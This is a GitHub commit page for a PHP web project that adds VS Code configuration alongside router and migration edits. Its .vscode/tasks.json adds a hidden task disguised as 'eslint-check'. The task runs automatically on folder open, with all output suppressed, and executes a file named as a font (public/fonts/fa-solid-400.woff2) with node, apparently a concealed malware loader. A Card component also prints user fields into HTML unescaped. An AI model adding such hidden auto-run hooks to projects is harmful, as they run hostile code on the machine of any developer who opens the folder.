Skip to content

Commit 0c0d352

Browse files
committed
chore: retest implementation
1 parent 906f6ed commit 0c0d352

33 files changed

Lines changed: 9726 additions & 276 deletions

.gitignore

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,5 @@
11
.env
2-
TODO.md
2+
TODO.md
3+
temp_auto_push.bat
4+
temp_interactive_push.bat
5+
.gitignore

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

app/core/Router.php

Lines changed: 8 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -15,26 +15,27 @@ class Router
1515
private static function formatUrl($url)
1616
{
1717
self::$isRouteTriggered = true;
18-
// Ensure consistent URL formatting
19-
$url = '/' . trim($url, '/');
20-
if ($url !== '/') {
21-
$url .= '/';
22-
}
2318

24-
return $url;
19+
return rtrim($url, '/') . '/';
2520
}
2621

2722
public static function get($url, $controller, $method)
2823
{
29-
$url = self::formatUrl($url);
24+
if ($url === '/') {
25+
$url = '';
26+
} else {
27+
$url = self::formatUrl($url);
28+
}
3029
self::$routes['GET'][$url] = ['controller' => $controller, 'method' => $method];
30+
3131
return new static;
3232
}
3333

3434
public static function post($url, $controller, $method)
3535
{
3636
$url = self::formatUrl($url);
3737
self::$routes['POST'][$url] = ['controller' => $controller, 'method' => $method];
38+
3839
return new static;
3940
}
4041

@@ -109,11 +110,6 @@ public static function dispatch($url, $requestType)
109110
$request = new Request();
110111
$request->capture();
111112

112-
// Normalize URL format for matching with routes
113-
$url = '/' . trim($url, '/');
114-
if ($url !== '/') {
115-
$url .= '/';
116-
}
117113

118114
$url = self::matchRoute($url, $requestType);
119115

app/database/sql/Test.php

Lines changed: 35 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,35 @@
1-
<?php
2-
3-
use app\core\{Model};
4-
5-
require_once 'app/init.php';
6-
7-
class Test extends Model
8-
{
9-
/**
10-
* Run the migrations.
11-
*
12-
* @return void
13-
*/
14-
public function up()
15-
{
16-
$this->down();
17-
$fields = [
18-
'id' => 'INT PRIMARY KEY AUTO_INCREMENT',
19-
'created_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP',
20-
'updated_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'
21-
];
22-
23-
$this->createTable('tests', $fields);
24-
}
25-
26-
/**
27-
* Reverse the migrations.
28-
*
29-
* @return void
30-
*/
31-
public function down()
32-
{
33-
$this->dropTable('tests');
34-
}
35-
}
1+
<?php
2+
3+
use app\core\{Model};
4+
5+
require_once 'app/init.php';
6+
7+
class Test extends Model
8+
{
9+
/**
10+
* Run the migrations.
11+
*
12+
* @return void
13+
*/
14+
public function up()
15+
{
16+
$this->down();
17+
$fields = [
18+
'id' => 'INT PRIMARY KEY AUTO_INCREMENT',
19+
'created_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP',
20+
'updated_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'
21+
];
22+
23+
$this->createTable('tests', $fields);
24+
}
25+
26+
/**
27+
* Reverse the migrations.
28+
*
29+
* @return void
30+
*/
31+
public function down()
32+
{
33+
$this->dropTable('tests');
34+
}
35+
}

app/database/sql/User.php

Lines changed: 36 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,37 @@
1-
<?php
2-
3-
use app\core\{Model};
4-
5-
require_once 'app/init.php';
6-
7-
class User extends Model
8-
{
9-
/**
10-
* Run the migrations.
11-
*
12-
* @return void
13-
*/
14-
public function up()
15-
{
16-
$this->down();
17-
$fields = [
18-
'id' => 'INT PRIMARY KEY AUTO_INCREMENT',
19-
'username' => 'VARCHAR(255)',
20-
'email' => 'VARCHAR(255)',
21-
'created_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP',
22-
'updated_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'
23-
];
24-
25-
$this->createTable('users', $fields);
26-
}
27-
28-
/**
29-
* Reverse the migrations.
30-
*
31-
* @return void
32-
*/
33-
public function down()
34-
{
35-
$this->dropTable('users',);
36-
}
1+
<?php
2+
3+
use app\core\{Model};
4+
5+
require_once 'app/init.php';
6+
7+
class User extends Model
8+
{
9+
/**
10+
* Run the migrations.
11+
*
12+
* @return void
13+
*/
14+
public function up()
15+
{
16+
$this->down();
17+
$fields = [
18+
'id' => 'INT PRIMARY KEY AUTO_INCREMENT',
19+
'username' => 'VARCHAR(255)',
20+
'email' => 'VARCHAR(255)',
21+
'created_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP',
22+
'updated_at' => 'TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'
23+
];
24+
25+
$this->createTable('users', $fields);
26+
}
27+
28+
/**
29+
* Reverse the migrations.
30+
*
31+
* @return void
32+
*/
33+
public function down()
34+
{
35+
$this->dropTable('users',);
36+
}
3737
}
Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
1-
<?php
2-
function Card($users, $onclick)
3-
{
4-
$userCards = array_map(function ($user) use ($onclick) {
5-
return "
6-
<div>
7-
<p>Username: {$user['username']}</p>
8-
<p>Email: {$user['email']}</p>
9-
<button onclick='{$onclick}({$user['id']})'>delete</button>
10-
</div>
11-
";
12-
}, $users);
13-
14-
echo implode('', $userCards);
15-
}
1+
<?php
2+
function Card($users, $onclick)
3+
{
4+
$userCards = array_map(function ($user) use ($onclick) {
5+
return "
6+
<div>
7+
<p>Username: {$user['username']}</p>
8+
<p>Email: {$user['email']}</p>
9+
<button onclick='{$onclick}({$user['id']})'>delete</button>
10+
</div>
11+
";
12+
}, $users);
13+
14+
echo implode('', $userCards);
15+
}

0 commit comments

Comments
 (0)